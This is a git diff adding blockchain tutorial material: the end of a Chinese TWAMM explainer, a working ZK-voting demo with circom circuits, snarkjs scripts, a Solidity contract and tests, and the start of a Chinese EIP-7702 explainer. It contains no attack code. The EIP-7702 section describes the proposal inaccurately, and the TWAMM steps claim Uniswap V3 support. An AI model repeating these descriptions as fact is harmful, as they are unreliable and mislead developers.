+- 嵌入式AMM交互：虚拟订单与TWAMM内置的恒定乘积AMM（如Uniswap V4的流动性池）交互，根据当前池的储备计算交易价格。
+
+
+4. 套利平衡价格
+
+由于TWAMM的持续执行会改变嵌入式AMM的资产价格，套利者会通过以下机制维持价格与外部市场一致：
+
+-价格偏差触发套利：当嵌入式AMM价格偏离其他交易所（如中心化交易所）时，套利者会买入低价资产并卖出高价资产，推动价格回归平衡。
+
+- 确保执行价格接近时间加权平均价（TWAP）：套利行为使得TWAMM的最终成交价趋近于执行期间的市场平均价格，减少滑点。
+
+
+5. 订单完成与结算
+
+- 到期自动终止：订单在执行期限结束时自动终止，未完成的剩余部分（如有）将按最终价格结算。
+
+- Gas成本优化：TWAMM采用延迟计算（Lazy Evaluation技术，仅在需要时结算虚拟订单的累积影响，避免高频交易的高Gas成本。
+
+
+6. 技术实现的关键点
+
+- 数学公式支持：通过积分等数学方法计算虚拟订单的累积交易量，避免逐个处理无限小订单的计算开销。
+
+- 防攻击设计：通过优先执行和区块间交易，减少三明治攻击风险；同时限制订单修改权限，防止信息泄露。
+
+
+
+## 操作步骤
+以下是使用TWAMM进行交易的具体操作步骤：
+
+1 准备工作
+
+选择合适的去中心化交易平台：用户需要选择一个支持TWAMM协议的去中心化交易平台，例如Uniswap V3等。确保该平台有足够的流动性和用户基础，以便顺利执行交易。
+创建数字钱包：用户需要一个支持ERC-20代币的数字钱包，如MetaMask或Trust Wallet，来存储和管理其加密资产。
+
+连接钱包：访问所选择的去中心化交易平台，并将数字钱包连接到该平台。通常，这需要用户授权平台访问其钱包地址。
+
+
+2 设置交易参数
+
+选择交易对：在TWAMM交易界面，用户需要选择想要交易的代币对。例如，如果用户想要交易ETH与DAI，则需要选择这两个代币。
+
+输入交易数量：用户需要输入希望交易的代币数量。TWAMM会根据用户输入的数量和时间段来计算每个时间段内的交易量。
+
+设定时间段：用户可以选择交易的时间段。例如，用户可以选择在1小时、6小时、12小时或24小时内执行交易。时间段的选择会影响平均价格的计算，用户需要根据自己的需求进行合理选择。
+
+确认交易参数：在设置完所有参数后，用户需要仔细确认交易信息，包括交易对、数量、时间段等，以确保没有错误。
+
+
+3. 执行交易
+
+提交交易请求：确认无误后，用户可以提交交易请求。TWAMM系统会将用户的交易请求记录在区块链上，并准备在设定的时间段内执行。
+
+分段执行交易：在设定的时间段内，TWAMM会按照预设的时间间隔自动执行交易。每个时间段内的交易量和价格会根据市场情况进行调整，以确保交易的顺利进行。
+
+监控交易状态：用户可以在交易平台上监控交易的执行状态。TWAMM会提供实时的交易执行情况，包括已完成的交易和剩余的交易量。
+
+
+4. 交易完成
+查看交易结果：一旦所有交易完成，用户可以查看最终的交易结果，包括实际成交的价格、交易的总费用和所获得的代币数量。
+
+提取资产：用户可以选择将交易获得的代币提取到自己的数字钱包中，或者继续在平台上进行其他交易。
+分析交易表现：用户可以对交易进行回顾分析，比如比较实际成交价格与市场价格的差异，评估TWAMM在交易中带来的优势。
+
+
+
+目前市面上有两个项目方实现： FRAX & Pulsar
+
+Frax技术方案： https://docs.frax.finance/fraxswap/technical-specifications 
+合约地址：https://docs.frax.finance/smart-contracts/fraxswap
+
+pular技术方案： https://pulsarswap.com/  
+数学推导：https://hackmd.io/@luffy/SJxSsOH1Y?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJleHAiOjE2NTg0NTk0MDQsImZpbGVHVUlEIjoiR2VYSGc0TVJzU3c1SFFVbyIsImlhdCI6MTY1ODQ1OTEwNCwiaXNzIjoidXBsb2FkZXJfYWNjZXNzX3Jlc291cmNlIiwidXNlcklkIjotNjgyMDA2MTkyMH0.Dmo2Lu-fva3LKJoyO8nACJ20cDJ8PpOGP2D6WzC5klA 
+ 
+v3: https://hackmd.io/@luffy/rJf4OUeWq?accessToken=eyJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQiLCJ0eXAiOiJKV1QifQ.eyJleHAiOjE2NTg0NTk0NzMsImZpbGVHVUlEIjoiR2VYSGc0TVJzU3c1SFFVbyIsImlhdCI6MTY1ODQ1OTE3MywiaXNzIjoidXBsb2FkZXJfYWNjZXNzX3Jlc291cmNlIiwidXNlcklkIjotNjgyMDA2MTkyMH0.K140eySZKKzx9CUzJzS2TtyZh4GVsf0_C4hpUtQ9u_w  
+
+
+
+## 参考文档
+
+- github实现： https://github.com/FrankieIsLost/TWAMM/tree/master/contracts
+
+-https://www.paradigm.xyz/2021/07/twamm
+
+-https://zhuanlan.zhihu.com/p/394675989
\ No newline at end of file
diff --git a/basic/48-ZK-Voting/.gitignore b/basic/48-ZK-Voting/.gitignore
new file mode 100644
index 000000000..13fb384d5
--- /dev/null
+++ b/basic/48-ZK-Voting/.gitignore
@@ -0,0 +1,38 @@
+target/
+
+# zk snarkjs
+
+*.zkey
+*.r1cs
+*.r1cs.json
+*.sym
+*.ptau
+*.wtns
+*.ptau
+
+verification_key.json
+proof*.json
+public*.json
+
+circuits/**/*.sol
+circuits/**/*_js/
+circuits/**/input_*.json
+
+# node
+node_modules/
+
+# hardhat
+artifacts/
+contracts/*Verifier.sol
+
+# Compiler files
+cache/
+out/
+
+# Ignores development broadcast logs
+!/broadcast
+/broadcast/*
+/broadcast/*/31337/
+
+.DS_Store
+.env
diff --git a/basic/48-ZK-Voting/READMD.md b/basic/48-ZK-Voting/READMD.md
new file mode 100644
index 000000000..ede4a30f5
--- /dev/null
+++ b/basic/48-ZK-Voting/READMD.md
@@ -0,0 +1,62 @@
+# ZK Voting
+
+## Quick Start
+
+use `npm` to install, `yarn` may faild.
+
+```sh
+npm install
+```
+
+setup and generate `input.json`, `public.json`, `proof.json`, `Verifier.sol`...
+
+```sh
+cd circuits
+
+# chmod 777 ...
+
+./0-cleanup.sh
+./1-setup.sh
+./2-add2Tree.sh
+./3-proveInTree.sh
+
+```
+
+modify two Verifier contracts
+
+- change pragma version from `^0.6.11` to `^0.8.0`
+- change contract name, from `Verifier` to `Add2TreeVerifier` and `ProveInTreeVerifier`
+
+```solidity
+// contracts/Add2TreeVerifier.sol
+// contracts/ProveInTreeVerifier.sol
+
+...
+pragma solidity ^0.8.0;
+
+
+...
+contract Add2TreeVerifier {...}
+
+contract ProveInTreeVerifier {...}
+
+```
+
+test zk dapp
+
+```sh
+npm run test
+```
+
+## TODO
+
+- complete README
+- add Front-End
+
+## Reference
+
+- zk-prove-membership: <https://github.com/scaffold-eth/scaffold-eth-examples/tree/zk-prove-membership>
+- zk-voting-example: <https://github.com/scaffold-eth/scaffold-eth-examples/tree/zk-voting-example>
+- circomlib: <https://github.com/iden3/circomlib>
+- circomlibjs: <https://github.com/iden3/circomlibjs>
+- whats-a-sparse-merkle-tree: <https://medium.com/@kelvinfichter/whats-a-sparse-merkle-tree-acda70aeb837>
diff --git a/basic/48-ZK-Voting/circuits/0-cleanup.sh b/basic/48-ZK-Voting/circuits/0-cleanup.sh
new file mode 100755
index 000000000..0abad412c
--- /dev/null
+++ b/basic/48-ZK-Voting/circuits/0-cleanup.sh
@@ -0,0 +1,30 @@
+# clean up
+
+# add2Tree
+rm -rf ./add2Tree/add2Tree_js/*
+rm -rf ./add2Tree/*.zkey
+rm -rf ./add2Tree/*.r1cs
+rm -rf ./add2Tree/*.sym
+rm -rf ./add2Tree/*.sol
+rm -rf ./add2Tree/proof_*.json
+rm -rf ./add2Tree/public_*.json
+rm -rf ./add2Tree/verification_key.json
+rm -rf ./add2Tree/*.wtns
+rm -rf ./add2Tree/input_*.json
+
+
+# proveInTree
+rm -rf ./proveInTree/proveInTree_js/*
+rm -rf ./proveInTree/*.zkey
+rm -rf ./proveInTree/*.r1cs
+rm -rf ./proveInTree/*.sym
+rm -rf ./proveInTree/*.sol
+rm -rf ./proveInTree/proof_*.json
+rm -rf ./proveInTree/public_*.json
+rm -rf ./proveInTree/verification_key.json
+rm -rf ./proveInTree/*.wtns
+rm -rf ./proveInTree/input_*.json
+
+# Verifier contracts
+rm -rf ../contracts/Add2TreeVerifier.sol
+rm -rf ../contracts/ProveInTreeVerifier.sol
diff --git a/basic/48-ZK-Voting/circuits/1-setup.sh b/basic/48-ZK-Voting/circuits/1-setup.sh
new file mode 100755
index 000000000..4ae31ba18
--- /dev/null
+++ b/basic/48-ZK-Voting/circuits/1-setup.sh
@@ -0,0 +1,10 @@
+# powers of Tau
+snarkjs powersoftau new bn128 12 pot12_0000.ptau -v
+snarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="First contribution" -v
+snarkjs powersoftau prepare phase2 pot12_0001.ptau pot12_final.ptau -v
+
+# phase2
+snarkjs powersoftau prepare phase2 pot12_0001.ptau pot12_final.ptau -v
+
+# generate input.json
+node ./generate_input.js
diff --git a/basic/48-ZK-Voting/circuits/2-add2Tree.sh b/basic/48-ZK-Voting/circuits/2-add2Tree.sh
new file mode 100755
index 000000000..f197a6aca
--- /dev/null
+++ b/basic/48-ZK-Voting/circuits/2-add2Tree.sh
@@ -0,0 +1,50 @@
+
+# add2Tree compile & setup
+
+# compile circom
+echo "compile circom"
+circom add2Tree/add2Tree.circom --r1cs --wasm --sym -o add2Tree/
+
+# phase2
+echo "setup phase2"
+snarkjs groth16 setup add2Tree/add2Tree.r1cs pot12_final.ptau add2Tree/add2Tree_0000.zkey
+snarkjs zkey contribute add2Tree/add2Tree_0000.zkey add2Tree/add2Tree_0001.zkey --name="1st Contributor Name" -v
+snarkjs zkey export verificationkey add2Tree/add2Tree_0001.zkey add2Tree/verification_key.json
+
+# Generate a Smart Contract
+echo "Generate Smart Contract"
+snarkjs zkey export solidityverifier add2Tree/add2Tree_0001.zkey ../contracts/Add2TreeVerifier.sol
+
+
+# computing witness
+echo "computing witness 00"
+node add2Tree/add2Tree_js/generate_witness.js add2Tree/add2Tree_js/add2Tree.wasm \
+add2Tree/input_00.json add2Tree/witness_00.wtns
+
+# Generating a Proof
+echo "Generating a Proof 00"
+snarkjs groth16 prove add2Tree/add2Tree_0001.zkey add2Tree/witness_00.wtns add2Tree/proof_00.json add2Tree/public_00.json
+
+# Verifying a Proof
+echo "Verifying a Proof 00"
+snarkjs groth16 verify add2Tree/verification_key.json add2Tree/public_00.json add2Tree/proof_00.json
+
+echo "verify calldata 00:\n"
+snarkjs zkey export soliditycalldata add2Tree/public_00.json add2Tree/proof_00.json
+
+
+# computing witness
+echo "computing witness 01"
+node add2Tree/add2Tree_js/generate_witness.js add2Tree/add2Tree_js/add2Tree.wasm \
+add2Tree/input_01.json add2Tree/witness_01.wtns
+
+# Generating a Proof
+echo "Generating a Proof 01"
+snarkjs groth16 prove add2Tree/add2Tree_0001.zkey add2Tree/witness_01.wtns add2Tree/proof_01.json add2Tree/public_01.json
+
+# Verifying a Proof
+echo "Verifying a Proof 01"
+snarkjs groth16 verify add2Tree/verification_key.json add2Tree/public_01.json add2Tree/proof_01.json
+
+echo "verify calldata 01:\n"
+snarkjs zkey export soliditycalldata add2Tree/public_01.json add2Tree/proof_01.json
\ No newline at end of file
diff --git a/basic/48-ZK-Voting/circuits/3-proveInTree.sh b/basic/48-ZK-Voting/circuits/3-proveInTree.sh
new file mode 100755
index 000000000..129b42706
--- /dev/null
+++ b/basic/48-ZK-Voting/circuits/3-proveInTree.sh
@@ -0,0 +1,50 @@
+
+# proveInTree compile & setup
+
+# compile circom
+echo "compile circom"
+circom proveInTree/proveInTree.circom --r1cs --wasm --sym -o proveInTree/
+
+
+# phase2
+echo "setup phase2"
+snarkjs groth16 setup proveInTree/proveInTree.r1cs pot12_final.ptau proveInTree/proveInTree_0000.zkey
+snarkjs zkey contribute proveInTree/proveInTree_0000.zkey proveInTree/proveInTree_0001.zkey --name="1st Contributor Name" -v
+snarkjs zkey export verificationkey proveInTree/proveInTree_0001.zkey proveInTree/verification_key.json
+
+# Generate a Smart Contract
+echo "Generate Smart Contract"
+snarkjs zkey export solidityverifier proveInTree/proveInTree_0001.zkey ../contracts/ProveInTreeVerifier.sol
+
+
+# computing witness
+echo "computing witness 00"
+node proveInTree/proveInTree_js/generate_witness.js proveInTree/proveInTree_js/proveInTree.wasm \
+    proveInTree/input_00.json proveInTree/witness_00.wtns
+
+# Generating a Proof
+echo "Generating a Proof 00"
+snarkjs groth16 prove proveInTree/proveInTree_0001.zkey proveInTree/witness_00.wtns proveInTree/proof_00.json proveInTree/public_00.json
+
+# Verifying a Proof
+echo "Verifying a Proof 00"
+snarkjs groth16 verify proveInTree/verification_key.json proveInTree/public_00.json proveInTree/proof_00.json
+
+echo "verify calldata 00:\n"
+snarkjs zkey export soliditycalldata proveInTree/public_00.json proveInTree/proof_00.json
+
+# computing witness
+echo "computing witness 01"
+node proveInTree/proveInTree_js/generate_witness.js proveInTree/proveInTree_js/proveInTree.wasm \
+proveInTree/input_01.json proveInTree/witness_01.wtns
+
+# Generating a Proof
+echo "Generating a Proof 01"
+snarkjs groth16 prove proveInTree/proveInTree_0001.zkey proveInTree/witness_01.wtns proveInTree/proof_01.json proveInTree/public_01.json
+
+# Verifying a Proof
+echo "Verifying a Proof 01"
+snarkjs groth16 verify proveInTree/verification_key.json proveInTree/public_01.json proveInTree/proof_01.json
+
+echo "verify calldata 01:\n"
+snarkjs zkey export soliditycalldata proveInTree/public_01.json proveInTree/proof_01.json
\ No newline at end of file
diff --git a/basic/48-ZK-Voting/circuits/add2Tree/add2Tree.circom b/basic/48-ZK-Voting/circuits/add2Tree/add2Tree.circom
new file mode 100644
index 000000000..286a1a3b3
--- /dev/null
+++ b/basic/48-ZK-Voting/circuits/add2Tree/add2Tree.circom
@@ -0,0 +1,33 @@
+pragma circom 2.0.0;
+
+include "../../node_modules/circomlib/circuits/smt/smtprocessor.circom";
+include "../../node_modules/circomlib/circuits/comparators.circom";
+
+template Add2Tree(nLevels) {
+  signal input oldRoot; // should be defined in contract
+  signal input newKey;  // should be defined in contract
+  signal input newValue;
+  signal input oldKey;
+  signal input oldValue;
+  signal input siblings[nLevels];
+
+  signal output outRoot;
+
+  component rootIsZero = IsZero();
+  rootIsZero.in <== oldRoot;
+
+  component tree = SMTProcessor(nLevels);
+  tree.oldRoot <== oldRoot;
+  for (var i=0; i<nLevels; i++) tree.siblings[i] <== siblings[i];
+  tree.oldKey <== oldKey;
+  tree.oldValue <== oldValue;
+  tree.isOld0 <== rootIsZero.out;
+  tree.newKey <== newKey;
+  tree.newValue <== newValue;
+  tree.fnc[0] <== 1;
+  tree.fnc[1] <== 0;
+
+  outRoot <== tree.newRoot;
+}
+
+component main {public [oldRoot, newKey, newValue, oldKey, oldValue]} = Add2Tree(3);
\ No newline at end of file
diff --git a/basic/48-ZK-Voting/circuits/generate_input.js b/basic/48-ZK-Voting/circuits/generate_input.js
new file mode 100644
index 000000000..b205b617b
--- /dev/null
+++ b/basic/48-ZK-Voting/circuits/generate_input.js
@@ -0,0 +1,102 @@
+const fs = require("fs");
+const { buildSMT, SMTMemDb, buildPoseidonOpt } = require("circomlibjs");
+
+let poseidon;
+async function buildTree(treeData) {
+  const db = new SMTMemDb(poseidon.F);
+
+  let s = await buildSMT(db, 0);
+  for (let i = 0; i < treeData.length; i++) {
+    const { key, value } = treeData[i];
+    await s.insert(key, value);
+  }
+  return s;
+}
+
+async function insertLeaf(smtTree, newKey, newValue) {
+  const insertRes = await smtTree.insert(newKey, newValue);
+
+  return {
+    oldRoot: insertRes.oldRoot == 0 ? "0" : u8arr2str(insertRes.oldRoot),
+    newKey: newKey + '',
+    newValue: newValue + '',
+    oldKey: u8arr2str(insertRes.oldKey),
+    oldValue: u8arr2str(insertRes.oldValue),
+    siblings: formatSliblings(insertRes.siblings, 3),
+  };
+}
+
+async function proveInTree(smtTree, key) {
+  const findRes = await smtTree.find(key);
+
+  return {
+    root: u8arr2str(smtTree.root),
+    voteId: "1",
+    key: key + "",
+    secret: "1",
+    nullifier: "1",
+    siblings: formatSliblings(findRes.siblings, 4),
+  };
+}
+
+async function processAdd2Tree() {
+  const smtTree = await buildTree([]);
+  const value = await poseidon([1, 1]);
+
+  const add2TreeRes0 = await insertLeaf(smtTree, 0, u8arr2str(value));
+  console.log("add2TreeRes0", add2TreeRes0);
+  fs.writeFileSync("./add2Tree/input_00.json", JSON.stringify(add2TreeRes0));
+
+  const add2TreeRes1 = await insertLeaf(smtTree, 1, u8arr2str(value));
+  console.log("add2TreeRes1", add2TreeRes1);
+  fs.writeFileSync("./add2Tree/input_01.json", JSON.stringify(add2TreeRes1));
+}
+
+async function processProveInTree() {
+  // secret: 1, nullifier: 1
+  const value = await poseidon([1, 1]);
+  const smtTree = await buildTree([
+    { key: 0, value },
+    { key: 1, value },
+  ]);
+
+  const proveInTree0 = await proveInTree(smtTree, 0);
+  console.log("proveInTree0", proveInTree0);
+  fs.writeFileSync("./proveInTree/input_00.json", JSON.stringify(proveInTree0));
+
+  const proveInTree1 = await proveInTree(smtTree, 1);
+  console.log("proveInTree1", proveInTree1);
+  fs.writeFileSync("./proveInTree/input_01.json", JSON.stringify(proveInTree1));
+}
+
+async function main() {
+  poseidon = await buildPoseidonOpt();
+
+  await processAdd2Tree();
+  await processProveInTree();
+}
+
+function u8arr2str(u8arr) {
+  return poseidon.F.toString(u8arr);
+}
+
+// smt tree's level is 3,
+// if siblings.length < 3, should to add 0
+// add2Tree.circom ... component main = Add2Tree(3);
+function formatSliblings(siblings, len) {
+  const arr = [];
+  for (let i = 0; i < len; i++) {
+    if (i < siblings.length && siblings[i] != 0) {
+      arr.push(u8arr2str(siblings[i]));
+    } else {
+      arr.push("0");
+    }
+  }
+
+  return arr;
+}
+
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/48-ZK-Voting/circuits/proveInTree/proveInTree.circom b/basic/48-ZK-Voting/circuits/proveInTree/proveInTree.circom
new file mode 100644
index 000000000..67b6a151a
--- /dev/null
+++ b/basic/48-ZK-Voting/circuits/proveInTree/proveInTree.circom
@@ -0,0 +1,41 @@
+include "../../node_modules/circomlib/circuits/smt/smtverifier.circom";
+include "../../node_modules/circomlib/circuits/poseidon.circom";
+
+template proveInTree(nLevels) {
+  signal input root;
+  signal input voteId;
+  signal input key;
+  signal input secret;
+  signal input nullifier;
+  signal input siblings[nLevels + 1];
+
+  signal output voterHash;
+
+  signal value;
+
+  component poseidon[2];
+
+  poseidon[0] = Poseidon(2);
+  poseidon[0].inputs[0] <== secret;
+  poseidon[0].inputs[1] <== nullifier;
+  value <== poseidon[0].out;
+
+  poseidon[1] = Poseidon(3);
+  poseidon[1].inputs[0] <== voteId;
+  poseidon[1].inputs[1] <== key;
+  poseidon[1].inputs[2] <== nullifier;
+  voterHash <== poseidon[1].out;
+
+  component tree = SMTVerifier(nLevels + 1);
+  tree.enabled <== 1;
+  tree.root <== root;
+  for (var i=0; i<nLevels + 1; i++) tree.siblings[i] <== siblings[i];
+  tree.oldKey <== 0;
+  tree.oldValue <== 0;
+  tree.isOld0 <== 0;
+  tree.key <== key;
+  tree.value <== value;
+  tree.fnc <== 0;
+}
+
+component main {public [root, voteId]} = proveInTree(3);
\ No newline at end of file
diff --git a/basic/48-ZK-Voting/contracts/ZKVoting.sol b/basic/48-ZK-Voting/contracts/ZKVoting.sol
new file mode 100644
index 000000000..8cd799a11
--- /dev/null
+++ b/basic/48-ZK-Voting/contracts/ZKVoting.sol
@@ -0,0 +1,99 @@
+//SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+// import { ProveInTreeVerifier } from "./Verifier.sol";
+import {ProveInTreeVerifier} from "./ProveInTreeVerifier.sol";
+import {Add2TreeVerifier} from "./Add2TreeVerifier.sol";
+
+contract ZKVoting {
+    //event SetPurpose(address sender, string purpose);
+    event AddLeaf(uint256 indexed key, uint256 indexed value, uint256 indexed oldRoot);
+
+    event CreateVote(uint256 indexed voteId, uint256 indexed deadline);
+
+    uint256 public voteNonce;
+
+    uint256 public root;
+    uint256[] public leafValues;
+    uint256 public nextKey;
+
+    Add2TreeVerifier public add2TreeVerifier;
+    ProveInTreeVerifier public proveInTreeVerifier;
+
+    mapping(uint256 => bool) public voteLogged;
+    mapping(uint256 => int256) public voteResult;
+    mapping(uint256 => uint256) public voteDeadline;
+
+    constructor(uint256 root_) {
+        root = root_;
+        add2TreeVerifier = new Add2TreeVerifier();
+        proveInTreeVerifier = new ProveInTreeVerifier();
+    }
+
+    function createVote(uint256 deadline) external {
+        require(deadline > block.timestamp, "createVote: Invalid Deadline");
+
+        uint256 voteId = voteNonce;
+        voteNonce++;
+        voteDeadline[voteId] = deadline;
+
+        emit CreateVote(voteId, deadline);
+    }
+
+    function addLeaf(uint256[2] memory a, uint256[2][2] memory b, uint256[2] memory c, uint256[6] memory input)
+        external
+    {
+        require(input[1] == root, "addLeaf: Invalid Root");
+        require(input[2] == nextKey, "addLeaf: Invalid Key");
+
+        // add membership requirements here
+
+        require(verifyAdd2TreeProof(a, b, c, input) == true, "addLeaf: Invalid Proof");
+
+        leafValues.push(input[3]);
+        nextKey = leafValues.length;
+        root = input[0];
+
+        emit AddLeaf(input[2], input[3], input[1]);
+    }
+
+    function proveAndVote(
+        uint256[2] memory a,
+        uint256[2][2] memory b,
+        uint256[2] memory c,
+        uint256[3] memory input,
+        bool slant
+    ) external returns (bool r) {
+        require(voteLogged[input[0]] != true, "proveAndVote: Vote Logged");
+        require(voteDeadline[input[2]] > block.timestamp, "proveAndVote: Deadline Passed");
+        require(input[1] == root, "proveAndVote: Invalid Root");
+
+        r = verifyProveInTreeProof(a, b, c, input);
+        require(r == true, "proveAndVote: Invalid Proof");
+
+        voteLogged[input[0]] = true;
+        if (slant == true) {
+            voteResult[input[2]] += 1;
+        } else {
+            voteResult[input[2]] -= 1;
+        }
+    }
+
+    function verifyAdd2TreeProof(
+        uint256[2] memory a,
+        uint256[2][2] memory b,
+        uint256[2] memory c,
+        uint256[6] memory input
+    ) public view returns (bool) {
+        return add2TreeVerifier.verifyProof(a, b, c, input);
+    }
+
+    function verifyProveInTreeProof(
+        uint256[2] memory a,
+        uint256[2][2] memory b,
+        uint256[2] memory c,
+        uint256[3] memory input
+    ) public view returns (bool) {
+        return proveInTreeVerifier.verifyProof(a, b, c, input);
+    }
+}
diff --git a/basic/48-ZK-Voting/hardhat.config.js b/basic/48-ZK-Voting/hardhat.config.js
new file mode 100644
index 000000000..34b35deaa
--- /dev/null
+++ b/basic/48-ZK-Voting/hardhat.config.js
@@ -0,0 +1,6 @@
+/** @type import('hardhat/config').HardhatUserConfig */
+require("@nomicfoundation/hardhat-toolbox");
+
+module.exports = {
+  solidity: "0.8.17",
+};
diff --git a/basic/48-ZK-Voting/package.json b/basic/48-ZK-Voting/package.json
new file mode 100644
index 000000000..09060ae72
--- /dev/null
+++ b/basic/48-ZK-Voting/package.json
@@ -0,0 +1,13 @@
+{
+    "name": "zk-voting",
+    "scripts": {
+        "build": "npx hardhat compile",
+        "test": "npx hardhat test"
+    },
+    "devDependencies": {
+        "@nomicfoundation/hardhat-toolbox": "^2.0.0",
+        "circomlib": "^2.0.5",
+        "circomlibjs": "^0.1.7",
+        "snarkjs": "^0.5.0"
+    }
+}
diff --git a/basic/48-ZK-Voting/test/ZKVoting.t.js b/basic/48-ZK-Voting/test/ZKVoting.t.js
new file mode 100644
index 000000000..a896f4191
--- /dev/null
+++ b/basic/48-ZK-Voting/test/ZKVoting.t.js
@@ -0,0 +1,62 @@
+const { expect } = require("chai");
+const hre = require("hardhat");
+const { loadAdd2TreeProof, loadProveInTreeProof } = require("../utils/calcProof.js");
+const add2TreeInputs00 = require("../circuits/add2Tree/input_00.json");
+const add2TreeInputs01 = require("../circuits/add2Tree/input_01.json");
+const proveInTreeInputs00 = require("../circuits/proveInTree/input_00.json");
+const proveInTreeInputs01 = require("../circuits/proveInTree/input_01.json");
+
+const ONE_DAY = 24 * 60 * 60;
+
+describe("Root", function () {
+  async function deployZKVotingFixture() {
+    const ZKVoting = await hre.ethers.getContractFactory("ZKVoting");
+    const zkvoting = await ZKVoting.deploy(0);
+    return {
+      zkvoting,
+    };
+  }
+
+  it("Should set root", async function () {
+    const { zkvoting } = await deployZKVotingFixture();
+    expect(await zkvoting.root()).to.equal(0);
+  });
+
+  it("addLeaf & proveAndVote", async function () {
+    const [user0] = await hre.ethers.getSigners();
+    const { zkvoting } = await deployZKVotingFixture();
+
+    // leaf is empty
+
+
+    // add 1st leaf
+    const add2TreeCalldata00 = await loadAdd2TreeProof(add2TreeInputs00);
+    await zkvoting.connect(user0).addLeaf(...add2TreeCalldata00);
+    expect(await zkvoting.leafValues(0), add2TreeCalldata00[3][3]);
+
+    // add 2nd leaf
+    const add2TreeCalldata01 = await loadAdd2TreeProof(add2TreeInputs01);
+    await zkvoting.connect(user0).addLeaf(...add2TreeCalldata01);
+    expect(await zkvoting.leafValues(1), add2TreeCalldata01[3][3]);
+
+    const { timestamp } = await hre.ethers.provider.getBlock();
+
+    await zkvoting.createVote(timestamp + 10 * ONE_DAY);
+    await zkvoting.createVote(timestamp + 10 * ONE_DAY);
+
+    expect(await zkvoting.voteNonce(), 2);
+
+    // prove 1st leaf
+    const proveInTreeCalldata00 = await loadProveInTreeProof(proveInTreeInputs00);
+    await zkvoting.connect(user0).proveAndVote(...proveInTreeCalldata00, true);
+    // vote count +1
+    expect(await zkvoting.voteResult(1), 1);
+
+    // prove 2nd leaf
+    const proveInTreeCalldata01 = await loadProveInTreeProof(proveInTreeInputs01);
+    await zkvoting.connect(user0).proveAndVote(...proveInTreeCalldata01, true);
+    // vote count +1
+    expect(await zkvoting.voteResult(1), 2);
+
+  });
+});
diff --git a/basic/48-ZK-Voting/utils/calcProof.js b/basic/48-ZK-Voting/utils/calcProof.js
new file mode 100644
index 000000000..8fb61c0e6
--- /dev/null
+++ b/basic/48-ZK-Voting/utils/calcProof.js
@@ -0,0 +1,40 @@
+const snarkjs = require("snarkjs");
+function parseSolidityCalldata(prf, sgn) {
+  let calldata = [
+    [prf.pi_a[0], prf.pi_a[1]],
+    [
+      [prf.pi_b[0][1], prf.pi_b[0][0]],
+      [prf.pi_b[1][1], prf.pi_b[1][0]],
+    ],
+    [prf.pi_c[0], prf.pi_c[1]],
+    [...sgn],
+  ];
+
+  return calldata;
+}
+
+async function loadAdd2TreeProof(inputs) {
+  const { proof, publicSignals } = await snarkjs.groth16.fullProve(
+    inputs,
+    "./circuits/add2Tree/add2Tree_js/add2Tree.wasm",
+    "./circuits/add2Tree/add2Tree_0001.zkey"
+  );
+  const calldata = parseSolidityCalldata(proof, publicSignals);
+  return calldata;
+}
+
+async function loadProveInTreeProof(inputs) {
+  const { proof, publicSignals } = await snarkjs.groth16.fullProve(
+    inputs,
+    "./circuits/proveInTree/proveInTree_js/proveInTree.wasm",
+    "./circuits/proveInTree/proveInTree_0001.zkey"
+  );
+  const calldata = parseSolidityCalldata(proof, publicSignals);
+  return calldata;
+}
+
+module.exports = {
+  parseSolidityCalldata,
+  loadAdd2TreeProof,
+  loadProveInTreeProof,
+};
diff --git a/basic/49-Account-Abstraction/.gitignore b/basic/49-Account-Abstraction/.gitignore
new file mode 100644
index 000000000..71f6a160f
--- /dev/null
+++ b/basic/49-Account-Abstraction/.gitignore
@@ -0,0 +1,11 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+typechain-types
+
+#Hardhat files
+cache
+artifacts
+
diff --git a/basic/49-Account-Abstraction/7702.md b/basic/49-Account-Abstraction/7702.md
new file mode 100644
index 000000000..1c9c82c59
--- /dev/null
+++ b/basic/49-Account-Abstraction/7702.md
@@ -0,0 +1,91 @@
+### EIP-7702
+
+EIP-7702 的核心创新在于引入了一种新的交易类型，允许外部账户（EOA）在单次交易中临时转换为智能合约账户，赋予其灵活的功能扩展能力。以下从交易结构、执行流程、Gas 机制和安全性等方面详细阐述其技术实现。
+
+#### **一、新交易类型的结构设计**
+
+EIP-7702 定义了一种新的交易类型（ **Type 4**，具体编号由最终提案确定），其数据结构在现有交易字段基础上扩展了以下关键字段：
+
+| 字段名          | 类型      | 描述                                                                   |
+| --------------- | --------- | ---------------------------------------------------------------------- |
+| `code`          | `bytes`   | 本次交易中临时执行的智能合约代码（字节码）。                           |
+| `signature`     | `bytes`   | 覆盖传统 ECDSA 签名的灵活签名格式，支持多签或非 ECDSA 算法（如 BLS）。 |
+| `validationGas` | `uint256` | 用于验证阶段（代码执行前）的 Gas 限额。                                |
+| `executionGas`  | `uint256` | 用于代码执行阶段的 Gas 限额。                                          |
+
+**示例结构（伪代码）：**
+
+```solidity
+struct EIP7702Transaction {
+    // 标准交易字段（如 nonce, gasLimit, to, value 等）
+    ...
+    type: 0x04, // 新交易类型标识
+    code: bytes, // 临时执行的智能合约代码
+    signature: bytes, // 灵活签名格式
+    validationGas: uint256,
+    executionGas: uint256,
+}
+```
+
+#### **二、交易执行流程**
+
+当用户发起 EIP-7702 交易时，以太坊网络按以下步骤处理：
+
+1. **交易验证阶段**
+
+   - **签名验证**：不再强制使用 ECDSA 签名，而是根据 `code` 中定义的逻辑验证 `signature`。例如，代码可能要求多签验证或使用 BLS 聚合签名。
+   - **临时状态注入**：将 `code` 临时绑定到用户的 EOA 地址，模拟智能合约账户的执行环境，但不修改链上账户的永久状态。
+
+2. **代码执行阶段**
+
+   - **上下文切换**：在本次交易的执行环境中，用户的 EOA 地址被视为智能合约账户，其权限逻辑完全由 `code` 定义。
+   - **自定义操作**：代码可执行任意逻辑，如批量交易、代付 Gas（使用 ERC-20 代币）、社交恢复验证等。
+   - **Gas 分段管理**：`validationGas` 和 `executionGas` 分别限制验证与执行阶段的 Gas 消耗，防止资源耗尽攻击。
+
+3. **状态恢复**
+   - 交易完成后，临时注入的 `code` 从账户中移除，EOA 恢复原始状态，不保留任何智能合约痕迹。
+
